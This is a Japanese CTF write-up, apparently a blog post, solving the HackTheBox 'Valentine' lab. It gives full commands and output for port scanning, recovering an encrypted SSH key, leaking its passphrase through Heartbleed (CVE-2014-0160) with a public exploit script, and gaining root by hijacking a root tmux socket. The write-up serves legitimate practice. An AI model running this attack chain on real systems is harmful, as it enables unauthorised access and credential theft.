🔥

HackTheBox Valentine

2022/09/13に公開

Valentine

列挙

nmap

ポートスキャンを行う

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.79 -oN nmap.log
Scanning 10.10.10.79 [65535 ports]
Discovered open port 443/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79
Discovered open port 22/tcp on 10.10.10.79
Reason: 65531 resets
PORT      STATE    SERVICE  REASON         VERSION
22/tcp    open     ssh      syn-ack ttl 63 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
80/tcp    open     http     syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp   open     ssl/http syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: 
60407/tcp filtered unknown  no-response
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/13%OT=22%CT=1%CU=35577%PV=Y%DS=2%DC=T%G=Y%TM=63202DC
OS:TG=40%CD=S)IE(R=Y%DFI=N%T=40%CD=S)

22、80、443番ポートを確認

web


どこかで見たようなハートのイラストが表示された

gobuster

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ gobuster dir -u http://10.10.10.79/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.79/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/13 16:19:51 Starting gobuster in directory enumeration mode
===============================================================
/decode               (Status: 200) [Size: 552]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.79/dev/]
/encode               (Status: 200) [Size: 554]                          
/index.php            (Status: 200) [Size: 38]                          
===============================================================
2022/09/13 16:23:30 Finished
===============================================================

decode と encode 、 dev を発見

encode


テキストボックスが表示された

試しに hello と入力すると、aGVsbG8= という文字列が出力された

decode


decode も同じように、テキストボックスが表示される

先程の文字列を入力すると、hello が返ってきた。お互いに作用していることがわかる

dev


hype_key と notes.txt の存在を確認

hype_key


16進数でエンコードされていそう

xxd

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ xxd -r -p hype_key valentine.rsa

16進数をバイナリへ変換する

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ cat valentine.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY----- 

再度ファイルを確認すると、暗号化された秘密鍵であることがわかる(一部省略)
パスフレーズが分かれば、使用できそう

notes.txt


encode と decode について書いてあるが、パスフレーズには繋がりそうにない

script

他に情報が落ちないので、スクリプトスキャンを実行する

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ nmap -T4 --script vuln 10.10.10.79 -oN script.log
〜
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://cvedetails.com/cve/2014-0160/
〜

web ページでハートのロゴが表示された通り、やはり heartbleed の脆弱性が存在しているらしい。

searchsploit

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ searchsploit heartbleed                                                         
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Ver | multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1)                           | multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support)            | multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure                              | multiple/remote/32745.py
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

脆弱性を確認

32764.py

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ python 32764.py 10.10.10.79                                                                         
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
〜
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 7B  mV0aGVoeXBlCg=={
〜

データを取得するため、何度か実行
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== という文字列を取得できた

decode を使用すると、heartbleedbelievethehype という文字列が出力された

hype としてのシェル

SSH

openssl を使用し復号化することも可能だが、今回は直接パスフレーズを使用

┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ ssh -i valentine.rsa hype@10.10.10.79
Enter passphrase for key 'valentine.rsa': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ whoami
hype

シェルの取得に成功

user フラグ

hype@Valentine:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグの取得成功

権限昇格

ps

hype@Valentine:~$ ps -ef | grep tmux
root       1002      1  0 00:08 ?        00:00:01 /usr/bin/tmux -S /.devs/dev_sess
hype       4867   4763  0 01:15 pts/2    00:00:00 grep --color=auto tmux

root として tmux が実行されることがわかる

man

man tmux を実行し、どのような動きをするか確認する

-S socket-path
   Specify a full alternative path to the server socket.  If -S is specified, the default socket directory
   is not used and any -L flag is ignored.

-S でソケットのパスを指定していることがわかる

.devs/dev_sess

hype@Valentine:/.devs$ ls -l
total 0
srw-rw---- 1 root hype 0 Sep 13 00:08 dev_sess

所有者は root であるが、グループが hype であるため、読み込み/書き込み可能であることがわかる
tmux はシェルを複製することが可能であるため、実行することで、root のシェルを取得できるかもしれない

root としてのシェル

tmux

hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami
root

権限昇格成功

root フラグ

root@Valentine:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得成功

所感

今回のボックスは、heartbleed を知っていたかで攻略の難易度が変わってくると思う。こういったボックスに対応できるように日頃から学習、情報収集をするようにしたい。

Discussion